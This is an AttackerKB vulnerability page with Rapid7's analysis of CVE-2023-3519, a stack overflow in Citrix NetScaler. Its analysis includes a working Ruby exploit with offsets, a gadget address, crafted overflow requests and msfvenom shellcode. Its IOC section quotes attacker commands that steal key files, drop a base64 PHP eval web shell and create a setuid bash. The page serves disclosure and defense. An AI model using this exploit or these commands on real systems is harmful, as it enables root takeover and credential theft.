Very High
CVE-2023-3519
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2023-3519
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Unauthenticated remote code execution
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery Low
Technical Analysis
Note that the analysis before is for a separate issue – either a silently-patched vuln or some cleanup. We’ve posted a Rapid7 Analysis with the full details, so check that out!
I spent some time this week looking at the advisory for CVE-2023-3519, and the associated patch (our blog post). To test, I installed versions 13.0-91.12 and 13.0-91.13, and did a bunch of diffing / patch analysis to try and understand the vulnerability (I chose a 13.0 version with the idea that there will be less active maintenance, and therefore less other changes to the codebase). Ultimately I hit a paywall in the trial version, so I figured I’d post what I have and move onto something else.
If I’m right, the issue appears to be memory corruption in the SAML parser, in the nsppe
process. Since nsppe
runs as root, successful exploitation would likely lead to code execution as root (it would require network access to the management port).
This has been added to the known exploited vulnerabilities list, but they identify it as a “code injection” attack, so it’s possible that this isn’t right.
After installing, I diffed everything on the filesystem to look for major changes. There were no obvious changes in the scripting stuff (PHP/Perl/etc), which is where I kinda expected to see the patch. Next, I diffed the binaries under /netscaler
and other folders using this neat little Bash command:
$ for i in $(cat binaries.txt); do diff -rub <(strings -n8 ./13.0-91.12/$i | sort) <(strings -n8 ./13.0-91.13/$i | sort); done
That command takes a list of binaries from the file binaries.txt
(which I generated with find -type f
), runs strings
on both versions, then diffs the strings list. It’s a nice quick way to quickly find or/ triage the files that are most interesting, though it won’t find subtle logic changes.
Most of the changes are just version numbers or other simple things that we can immediately discount. But one file, nsppe
, had interesting looking changes, such as new error messages about a length value:
aaa_rpc_auth_fail_free_aaa_info aaa_rpc_auth_rejected +AAA SAMLIDP ASSERTION REQUEST: List of Canonicalization Method exceeds max limit <%d>, current value <%d> +AAA SAMLIDP ASSERTION REQUEST: List of Transforms Method exceeds max limit <%d>, current value <%d> aaa_samlidp_tot_authnreq_fail aaa_samlidp_tot_authnreq_succ
I grabbed the old and new versions of the nsppe
binary, which it turns out is the NetScaler Packet Parsing Engine, and disassembled them. The binary is a beast, but we found some documentation online that explains its purpose.
Thankfully, the changes made by this patch are limited. In case you want to make sure we’re on the same page, here are the sha256es of the two versions I tested:
$ sha256 nsppe-13.0-91.12 SHA256 (nsppe-13.0-91.12) = 9d1b39e59374088f355a9b26a1b9bb94addfb1dcd7af7fd28acd853403b414f7 $ sha256 nsppe-13.0-91.13 SHA256 (nsppe-13.0-91.13) = 3779d1148df674e3f107b384f1e770e658128a6d603399c3d595c31a0d37af4e
I diffed the patches using a complicated series of sed
statements and the diff
CLI tool to determine where the majority of the changes are. For the most part, the patch adds eight different length checks, each of which compares a local variable to 9, then prints an error message if it’s larger. I put together this list of functions, along with the address where a check was added and the error message if the check fails (these are from the 91.13 version of /netscaler/nsppe
):
- Function:
ns_aaa_saml_parse_authn_request()
:
- 0xCA920B –
AAA SAMLIDP ASSERTION REQUEST: List of Canonicalization Method exceeds max limit <%d>, current value <%d>
- 0xCAA57E –
AAA SAMLIDP ASSERTION REQUEST: List of Transforms Method exceeds max limit <%d>, current value <%d>
- 0xCA920B –
- Function
ns_aaa_saml_parse_logout_response()
:
- 0xCB09A6 –
AAA SAML LOGOUT RESPONSE: List of Canonicalization Method exceeds max limit <%d>, current value <%d>
- 0xCB1E29 –
AAA SAML LOGOUT RESPONSE: List of Transforms Method exceeds max limit <%d>, current value <%d>
- 0xCB09A6 –
- Function
ns_aaa_saml_parse_logout_request()
:
- 0xCB8154 –
AAA SAML LOGOUT REQUEST: List of Canonicalization Method exceeds max limit <%d>, current value <%d>
- 0xCB94DB –
AAA SAML LOGOUT REQUEST: List of Transforms Method exceeds max limit <%d>, current value <%d>
- 0xCB8154 –
- Function
ns_aaa_saml_parse_assertion()
:
- 0xD038E7 –
AAA SAMLSP ASSERTION RESPONSE: List of Canonicalization Method exceeds max limit <%d>, current value <%d>
- 0xD04CD3 –
AAA SAMLSP ASSERTION RESPONSE: List of Transforms Method exceeds max limit <%d>, current value <%d>
- 0xD038E7 –
As you can see, the error messages are very similar, and strongly point to a length check being added. Based on the error messages, I would speculate that the vulnerability is triggered by sending too many canonicalization or transform methods in a SAML message. I randomly picked one of those errors (the Canonicalization Method check from ns_aaa_saml_parse_authn_request
), and looked at how the newly-validated value is used. The number_of_canonicalizations
value checked at 0xCA920B (in 91.13 – the patched version) is used to write into an array that I called array_indexed_into
:
.text:0000000000CA9AAB loc_CA9AAB: ; CODE XREF: ns_aaa_saml_parse_authn_request+5C68↑j .text:0000000000CA9AAB ; ns_aaa_saml_parse_authn_request+5C7D↑j .text:0000000000CA9AAB mov eax, [rbp+number_of_canonicalizations] .text:0000000000CA9AAE mov rdx, [rbp+array_indexed_into] .text:0000000000CA9AB5 mov dword ptr [rdx+rax*4+40h], 2 .text:0000000000CA9ABD jmp short loc_CA9AD0
Tracing the targeted array backwards across several function calls leads to:
.text:00000000008128E9 mov edx, 35h ; '5' .text:00000000008128EE mov esi, 210h .text:00000000008128F3 mov edi, offset ns_alloc_memz .text:00000000008128F8 call ns_meminst_alloc
ns_meminst_alloc
and ns_alloc_memz
are memory-allocation functions, and it looks like heap memory, though I’m not 100% sure on that one.
So anyway, my guess is that the core of this vulnerability is a probably-heap overflow when parsing certain types of SAML requests with too many canonicalization or transform methods.
I tried to verify that, but I believe the AAA features are behind a paywall (licensewall?), so I can’t access them:
> enable ns feature AAA ERROR: Feature(s) not licensed
Rather than fuss with licensing, I figured I’d post what I have and carry on!
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityHigh
Technical Analysis
Due to this vulnerability being in a potentially internet-facing appliance, it is high value for attackers to seek out and find. Combine this with no modern security protections such as ASLR or DEP with the root cause being a basic stack overflow, I expect we will see exploitation only increase. The only aspect that may slow attackers down slightly is that unpolished exploitation can lead to the network stack crashing making a remote shell more difficult, however, this will decrease upon the publication of the Metasploit module.
If your own this product please PATCH!
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- citrix
Products
- netscaler application delivery controller,
- netscaler application delivery controller 11.1-65.22,
- netscaler gateway
Exploited in the Wild
- Vendor Advisory (https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467)
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2023/07/19/cisa-adds-one-known-exploited-vulnerability-catalog)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Description
On Tuesday, July 18, Citrix published a security bulletin warning users of three vulnerabilities affecting NetScaler ADC and NetScaler Gateway. Of the three vulnerabilities, CVE-2023-3519, a stack-based buffer overflow, is the most severe and has been confirmed as actively exploited. Successful exploitation allows unauthenticated attackers to execute code remotely on vulnerable systems that have been configured as a gateway.
According to Citrix, the following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities:
- NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.13
- NetScaler ADC and NetScaler Gateway 13.0 before 13.0-91.13
- NetScaler ADC and NetScaler Gateway version 12.1
- NetScaler ADC 13.1-FIPS before 13.1-37.159
- NetScaler ADC 12.1-FIPS before 12.1-65.36
- NetScaler ADC 12.1-NDcPP before 12.65.36
On July 21, BishopFox reported that there are about 61,000 potentially vulnerable Citrix appliances on the internet, and suggested that about 35% (21k) were vulnerable at the time.
This analysis will focus on the root cause analysis and exploitation of CVE-2023-3519 using version 13.1-48.47.
Technical analysis
History
In our first pass on analyzing the vulnerability, we noticed a change in several SAML-related functions (including ns_aaa_saml_parse_authn_request
) that appeared to fix a heap-based buffer overflow when processing certain types of SAML messages. That part of the patch ultimately ended up being a red herring (or possibly an additional vulnerability that was silently patched), but it did lead us to the correct service: /netscaler/nsppe
, the NetScaler Packet Parsing Engine.
On July 21, researchers at Assetnote also confirmed the existence of that same issue that we noted; we both noticed that this vulnerability didn’t exactly match the description provided by Citrix. We agreed that there was more to this vulnerability, and that instinct was confirmed when BishopFox later released a video PoC of exploitation through a different vector than the one we’d identified.
BishopFox noted:
The vulnerability that we identified is different from the one identified by Rapid7 in this AttackerKB article and by Assetnote in their analysis, which required SAML to be enabled. The vulnerability we identified only requires the device to be configured as a Gateway or AAA virtual server, and to expose a specific vulnerable route that seems to be enabled by default on some installations, but not others (we’re not yet sure what causes this variance). Given the lack of SAML requirement, we believe that this stack overflow is CVE-2023-3519, and the SAML parser bug is a separate vulnerability which was silently patched without an associated advisory.
On Monday, July 24, Assetnote published a follow-up blog that shed some additional light on the confusion around CVE-2023-3519:
In our last post we uncovered a vulnerability inside Citrix ADC and NetScaler Gateway that was in the patch fix for CVE-2023-3519. It seems that this vulnerability, while also critical, is not the one that is being exploited in the wild by threat actors.
We continued our analysis and discovered an endpoint which allowed for remote code execution without the need of any special configurations such as SAML being enabled. This vulnerability matches more closely with the description of the CVE, Citrix’s advisory and any other public research that has surfaced.
Configuration
With the new information from Assetnote in mind, we needed to configure a host to be a “gateway”, a common configuration that can be done in a few steps:
- Install the Citrix ADC software – This comes in several formats, the simplest to work with is the VMware .ovf, which we used for our analysis
- Upload a license file in the web UI – a dev/test license can be obtained from Citrix (note: requires a free account)
- Configure it as a gateway – This can be accomplished by logging into the web UI and clicking Configuration –> Citrix Gateway –> Citrix Gateway Wizard, keeping the default settings
Once it’s configured as a gateway, it will have a second IP address, which is the IP that this exploit will target.
Dynamic analysis
To assist in our analysis, it’s helpful to debug the running process. Since this appliance is implemented on top of FreeBSD, gdb
is the logical choice for debugging. At times it can be a struggle to get the correct exact version of gdb for testing, however, in this scenario, gdb and gdbserver are already available:
root@ns# ls -l /usr/bin/*gdb* -r-xr-xr-x 1 root wheel 7146736 Jun 3 07:03 /usr/bin/gdb -r-xr-xr-x 1 root wheel 54368 Jun 3 07:03 /usr/bin/gdbserver -r-xr-xr-x 1 root wheel 2836856 Jun 3 07:03 /usr/bin/kgdb
With gdb
already available, we can go ahead and attach it to the vulnerable process to get a better understanding of the vulnerability. Attaching to a process with gdb
requires knowing the PID (process identifier) of the target process. This can be obtained by using the ps aux
command and looking for the nsppe
process:
root@ns# ps aux | grep nsppe root 11623 99.0 43.0 691272 689460 - RXs 16:44 12:39.03 nsppe (NSPPE-00)
In the case of our setup, the PID is 11623. When attaching to the process with gdb
(gdb /netscaler/nsppe 11623
), we are immediately met with a challenge. Although gdb does attach to the process successfully, almost immediately a system error message appears, which is generated outside of gdb. The message mentions a process called pitboss
and indicates that it missed five “heartbeats” from the nsppe-00
process. As a result, pitboss
immediately declares a “system failure” and reboots the system, killing our debug session. This is known as a “watchdog timer”, and is very common in embedded systems to ensure a return to a known good state can be achieved in a minimal amount of time.
In order to use gdb
, we will need to disable this watchdog. There are many different approaches to accomplish this task, but the simplest is to search for a built-in mechanism to disable the timer. Since gdb
is already present on the device, it is logical that there also might be a simple method to disable the timer. After searching the filesystem and with some analysis of the pitboss
binary, we came across a Perl script called nspf
. Luckily, this script has extensive help output:
root@ns# nspf help Usage: '/netscaler/nspf ((<process_name> | <pid>) <action> | query)' where <process_name> is one of: NSPPE-00 aslearn awsconfig bgpd de imi isisd metricscollectomonuploadd nsaaad nsaggregatord nscfsyncd nsclfsyncd nsclusterd nsconfigd nscopo nsfsyncd nsgslbautosyncnslcd nslped nsm nsnetsvc nsrised nstraceaggregatnsumond ospf6d ospfd ptpd ripd ripngd snmpd syshealthd 'nsp query' shows the status of all processes listed above Actions common to all processes: 'help'-> Show attributes that can be dynamically set 'pbmonitor'-> register or unregister with pitboss value: ON or 1 or OFF or 0 [...]
Here we can see that pitboss
or our software watchdog timer can be disabled by using the pbmonitor
command and passing it a value of 0
to indicate off. Once disabled, we can use gdb to continue our analysis:
root@ns# /netscaler/nspf nsppe-00 pbmonitor 0 nspf NSPPE-00 pbmonitor 0 Removing pitboss monitor on process NSPPE-00 pid 11623
The vulnerability
Assetnote’s blog calls out ns_aaa_gwtest_get_event_and_target_names
as the vulnerable function. If we compare the old and new versions of the function with a tool such as bindiff
, we can see a new check in the patched version that ensures a value, which turns out to be a length value, is no more than 0x7f (or 127):
c8389d: 83 fb 7f cmp ebx,0x7f c838a0: 7e 16 jle c838b8 <ns_aaa_gwtest_get_event_and_target_names+0x2d8>
The trick, then, is to access that function with an overly long argument. Let’s see how!
Validation
In order to trigger this vulnerability, we need to send an overly long request to the vulnerable endpoint. We can deduce the endpoint and required parameters from the binary and then create a request such as:
$ curl -k 'https://10.0.0.9/gwtest/formssso?event=start&target=AAA' <html><body><b>Http/1.1 Internal Server Error 43549 </b></body> </html>
We can verify that we hit the vulnerable function by setting a breakpoint at the start of the vulnerable function, ns_aaa_gwtest_get_event_and_target_names
, using the version of gdb
that comes with the server (don’t forget to disable the watchdog if you haven’t, and don’t do this over SSH!):
root@ns# gdb /netscaler/nsppe 11623 [...] (gdb) b ns_aaa_gwtest_get_event_and_target_names Breakpoint 1 at 0xc82bb4 (gdb) cont Continuing. [...run the above curl command...] Breakpoint 1, 0x0000000000c82bb4 in ns_aaa_gwtest_get_event_and_target_names () (gdb)
It does indeed break at the correct point, which means we’re hitting the vulnerable function!
Next, we validate the vulnerability by sending an overly long request:
$ curl -k 'https://10.0.0.9/gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
We can use gdb
to verify that we did, indeed, overwrite the stack, return address and all:
root@ns# gdb /netscaler/nsppe 11623 [...] (gdb) cont Continuing. [...run the curl command here...] Program received signal SIGBUS, Bus error. 0x0000000000c7fad3 in ns_aaa_gwtest_get_valid_fsso_server () (gdb) x/i $rip => 0xc7fad3 <ns_aaa_gwtest_get_valid_fsso_server+147>: ret (gdb) x/xwg $rsp 0x7fffffffc208: 0x4141414141414141 (gdb) backtrace #0 0x0000000000c7fad3 in ns_aaa_gwtest_get_valid_fsso_server () #1 0x4141414141414141 in ?? () #2 0x4141414141414141 in ?? () #3 0x4141414141414141 in ?? () #4 0x4141414141414141 in ?? () #5 0x4141414141414141 in ?? () #6 0x4141414141414141 in ?? () #7 0x4141414141414141 in ?? () #8 0x4141414141414141 in ?? () #9 0x4141414141414141 in ?? () [...]
From that output, we can see that it crashed with a SIGBUS (bus error) when attempting to run a return (ret
) statement at offset 0xc7fad3. The top of the stack is the value 0x4141414141414141 (or “AAAAAAAA”), which is the address that the ret
instruction is trying (unsuccessfully) to return to. The backtrace of the stack shows nothing but 0x41414141414141 values, which is what you’d expect to see in a classic stack-overflow scenario.
In addition to writing all the way up the stack, we can specifically overwrite the return address by sending the exact right amount of padding. In the example below, we will replace the return address with BBBBBBBB
(0x4242424242424242). We determined this offset by guessing different offsets until it worked, but another common method would be to use Metasploit’s built-in pattern_create.rb. Our updated curl command can be sent as follows:
$ curl -k 'https://10.0.0.9/gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB' curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
After sending that request, we can observe the resulting crash in gdb
(reminder that this takes down the networking stack, therefore you will need to do this via the VM console):
root@ns# gdb /netscaler/nsppe 11623 [...] (gdb) cont Continuing. [...send the request...] Program received signal SIGBUS, Bus error. 0x0000000000c7fad3 in ns_aaa_gwtest_get_valid_fsso_server () (gdb) x/i $rip => 0xc7fad3 <ns_aaa_gwtest_get_valid_fsso_server+147>: ret (gdb) x/xwg $rsp 0x7fffffffc208: 0x4242424242424242
It crashes on a ret
instruction, with 0x4242424242424242 on top of the stack this time. That means we successfully overwrote the return address with an arbitrary value!
It’s worth noting here that this executable does not have modern memory-corruption mitigations such as ASLR or DEP, which at this point are more than 20 years old. That means that memory addresses don’t change, and that we can run a payload directly from the stack. The following techniques would not work against a system that has modern security defenses enabled.
To prove that we can execute code off the stack, we need to find a jmp rsp
gadget (ff e4
) in the binary, which will tell the process to jump to code that is loaded onto the stack. To prove that the code actually runs, we will use a debug breakpoint (int3
, which encodes to cc
). If successful, this code should tell gdb
to stop execution in an obvious way.
A jmp rsp
gadget can be found at the address 0x6d8c62 (or, in little endian, \x62\x8c\x6d\x00\x00\x00\x00\x00
); therefore we build a request with the gadget’s address, followed by a breakpoint character:
$ echo -ne 'GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x62\x8c\x6d\x00\x00\x00\x00\x00\xcc HTTP/1.1\r\nHost: 10.0.0.9\r\n\r\n' | ncat --ssl 10.0.0.9 443
Note that we’re using echo
into ncat
now instead of curl
since we need to send raw binary data. curl
encodes all unprintable characters, as per the HTTP standard, but due to a bug in the service’s decoder, this will become problematic for exploitation, which we will discuss this in further detail below.
In our debugger, after sending that code, the breakpoint is hit as expected:
root@ns# gdb /netscaler/nsppe 11623 [...] (gdb) cont Continuing. [...run the command...] Program received signal SIGTRAP, Trace/breakpoint trap. 0x00007fffffffc211 in ?? () (gdb) x/i $rip-1 0x7fffffffc210: int3
This demonstrates that we can run a debug breakpoint directly from the stack, which means that we can run anything from the stack. Now we can begin real exploitation!
Exploitation
To test exploitation, we created a Ruby script that effectively wraps that ncat
command from above. The HTTParty
gem, which we’d typically use in this situation, won’t (easily) work because of the requirement for custom URL encoding:
# Encoding: ASCII-8bit # To disable watchdog: nspf nsppe-00 pbmonitor 0 # The return address where we take control: 0xc7fad3 require 'base64' require 'cgi' require 'socket' if ARGV[1].nil? puts "Usage: $0 <target> <payload file>" exit 1 end # The URL encoding of the target is buggy, and values that start with a # letter (in hex) cannot be URL-encoded, but certain other characters # must be; we simply URL-encode everything below 0xa0 for simplicity def my_encode(s) return s.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join end # The amount of padding needed to overwrite the return address RETURN_OFFSET = 168 # The offset of a simple return-to-stack gadget, packed into a little-endian # string JMP_ESP = [0x6d8c62].pack('Q') # Read the payload from the file, and kinda-URIencode it PAYLOAD = my_encode(File.read(ARGV[1]).force_encoding('ASCII-8bit')) # Put everything together into a query string QUERY_STRING = ('A' * RETURN_OFFSET) + JMP_ESP + PAYLOAD # Create the full request FULL_REQUEST = "GET /gwtest/formssso?event=start&target=#{QUERY_STRING} HTTP/1.1\r\nHost: #{ARGV[0]}\r\n\r\n" # Wrap this in `ncat` to simplify SSL stuff system("echo #{Base64::strict_encode64(FULL_REQUEST)} | base64 -d | ncat --ssl #{ARGV[0]} 443") # Done? puts "Done?"
It’s worth specifically calling out the my_encode
function here. Typically, it would make sense to use the CGI::escape
method to properly URL-encode the query string, but the target implements URL decoding incorrectly. If the encoded character is below 0xa0 (like %00
or %41
in a URL), it correctly decodes. But, if the encoded sequence starts with a letter such as %a0
or %ff
, it will fail to decode and remains the literal string, including the%
character. Since certain characters will break the request (like &
), and others can’t be encoded (like %ff
), in our script we encode everything below %a0
and nothing else.
Shellcode
Now that we’ve proven we can run the world’s simplest shellcode (int 3
), we can try increasingly complex shellcodes! Let’s try using msfvenom
to generate a basic payload for 64-bit FreeBSD systems. Fortunately for us, msfvenom
has several FreeBSD payloads, including one that executes a local shell command, which can create a file with the following msfvenom command:
$ msfvenom -p bsd/x64/exec CMD="/usr/bin/touch /root/foobar" > root_foobar.bin No platform was selected, choosing Msf::Module::Platform::BSD from the payload No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 62 bytes
This payload will simply touch
or create an empty file at the location /root/foobar
, whose existence we can later validate to prove that the command executed successfully. We use full paths for both the binary and the output file so we aren’t reliant on the $PATH
variable.
Once we have the payload, we can use the Ruby script above to send it. We want to make sure we still have gdb
attached to nsppe
so we can ensure the expected result.:
$ ruby cve-2023-3519-poc.rb 10.0.0.9 ./root_foobar.bin
After sending that new payload, we can examine the outcome in gdb
. Using the !
syntax, it is possible to run the ls
command to examine the filesystem from within gdb
:
root@ns# gdb /netscaler/nsppe 11623 [...] (gdb) cont Continuing. [...run the payload here...] process 11623 is executing new program: /usr/bin/touch [Inferior 1 (process 11623) exited normally] (gdb) !ls .bash_history foobar
The script successfully sends the payload, and the /root/foobar
file is successfully created! If we can run one msfvenom
payload, we should be able to run any msfvenom
payload!
But there is one very important drawback: because this crashes nsppe
, which is the networking subsystem, we cannot create a reverse shell because the server’s network is completely killed. To develop a reliable exploit, we had to find a way to avoid crashing nsppe
.
Keeping nsppe
Alive
To keep the nsppe
process alive, we opted to use a return address that jumps back to ns_aaa_cookie_valid()
(0x00782403). This address is the function’s epilog where it restores the values of non-volatile registers per the AMD 64 ABI specification. By changing the stack pointer to a predetermined value, this epilog can be used to restore register state and finally pass control flow to its caller, ns_aaa_client_handler()
. We have control over the return value and simply set it to 0 through rax
.
Now that we can execute code within nsppe
, we need a way to execute a useful payload. At first we tried to use the fork()
syscall; however exec()
would replace the current process, which would break network communications. We also tried to use fork()
to clone the process, but that would inevitably cause the process to crash. Finally, we settled on using a short assembly stub to call libc’s popen()
function. This allows us to execute an OS command as root, without waiting for it to complete. Once the OS command has been started, we adjust the stack and return directly into ns_aaa_cookie_valid()
. The HTTP request receives its response and our payload executes successfully.
We are currently working on a Metasploit module, which will be released in the near future!
IOCs
Mandiant reported with high confidence seeing active exploitation of CVE-2023-3519. In their report, they noticed the following behavior within POST requests:
- Coping the NetScaler configuration file ns.conf as well as the F1 and F2 key files into a single destination file within the /var/vpn/themes,
- Creating a web shell info.php by echoing a base64 encoded string to a temporary file and then decoding it using OpenSSL binary present on the appliance
- Coping the regular bash from /usr/bin/bash on the appliance and set the setuid bit of the file to allow easy access to root privileges.
The sequence of commands Mandiant extracted from log files and core dumps were:
- cat /flash/nsconfig/ns.conf >>/var/vpn/themes/insight-new-min.js
- cat /nsconfig/.F1.key >>/var/vpn/themes/insight-new-min.js
- cat /nsconfig/.F2.key >>/var/vpn/themes/insight-new-min.js
- echo PD9waHAgDQpmb3IgKCR4PTA7ICR4PD0xOyAkeCsrKSB7DQogICAgICAgICRDWzFdID0gJF9SRVFVRVNUW yIxMjMiXTsNCiAgICAgICAgQGV2YWwNCiAgICAgICAgKCRDWyR4XS4iIik7DQp9IA0KPz4= > /tmp/cccd.debug
- openssl base64 -d < /tmp/cccd.debug > /var/vpn/themes/info.php
- cp /usr/bin/bash /var/tmp/bash
- chmod 4775 /var/tmp/bash
It is highly likely that both failed, and some successful exploitation attempts will result in the nsppe
process crashing and creating a core dump that can be found under /var/core
directory on the ADC. This crash will also cause a system-wide reboot. Any unusual rebooting of an unpatched device should be considered suspicious. It’s also worth noting that this vulnerability grants remote code execution as the root user, which means that a skilled attacker can clean up and remove evidence from local log files.
Guidance
Patches are available for vulnerable versions of NetScaler ADC and NetScaler Gateway and should be applied on an emergency basis. CVE-2023-3519 and the others reported on the advisory are remediated in the following fixed product versions:
- NetScaler ADC and NetScaler Gateway 13.1-49.13 and later releases
- NetScaler ADC and NetScaler Gateway 13.0-91.13 and later releases of 13.0
- NetScaler ADC 13.1-FIPS 13.1-37.159 and later releases of 13.1-FIPS
- NetScaler ADC 12.1-FIPS 12.1-65.36 and later releases of 12.1-FIPS
- NetScaler ADC 12.1-NDcPP 12.1-65.36 and later releases of 12.1-NDcPP
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Woooh, nice research! You can apply for a free NetScaler Developer license, which includes all features! Check it out at https://citrix.com/downloads/citrix-adc/virtual-appliances/netscaler-vpx-developer-edition.htm
Oh interesting! I’ll have to see if that works, I couldn’t find it in the available trials / evaluations under my account but I haven’t seen developer edition
If this is a buffer overflow in SAML, wouldn’t you essentially need to be the IDP to pull this off? How else are you able to send SAML Assertions that the netscaler wouldn’t otherwise drop?
@Rink76 OMG THANK YOU
Interesting, so based on this, and combining research from other firms like https://blog.assetnote.io/2023/07/21/citrix-CVE-2023-3519-analysis/, even if you are running an older version, if SAML is not enabled, you theoretically would not be vulnerable.
UPDATE – BishopFox has demonstrated SAML not required to exploit!
now there’s this (https://bishopfox.com/blog/citrix-adc-gateway-rce-cve-2023-3519) too, which suggests that the SAML thing is something else that got patched, because they exploited something they think is cve-2023-3519 without needing SAML enabled at all.
Potential samples for the unix shell:
https://analyze.neiki.dev/reports/293fe23849cffb460e8d28691c640a5292fd4649b0f94a019b45cc586be83fd9
https://www.virustotal.com/gui/file/293fe23849cffb460e8d28691c640a5292fd4649b0f94a019b45cc586be83fd9/
Sorry. Can someone tell me how to use the NetScaler developer license I applied for? I imported the serial number of the license into the Use License Access Code option of Citrix ADC, but the prompt is invalid
@Chestnuts4 You “activate” the license by going to your profile site and finding “add license”. It’ll send you to an “activate license” page, which asks for a MAC address. The MAC address has to look like
010203040506
– no spaces or colons. Once you fill that in, it’ll let you download a .lic file, which you can upload to the appliance.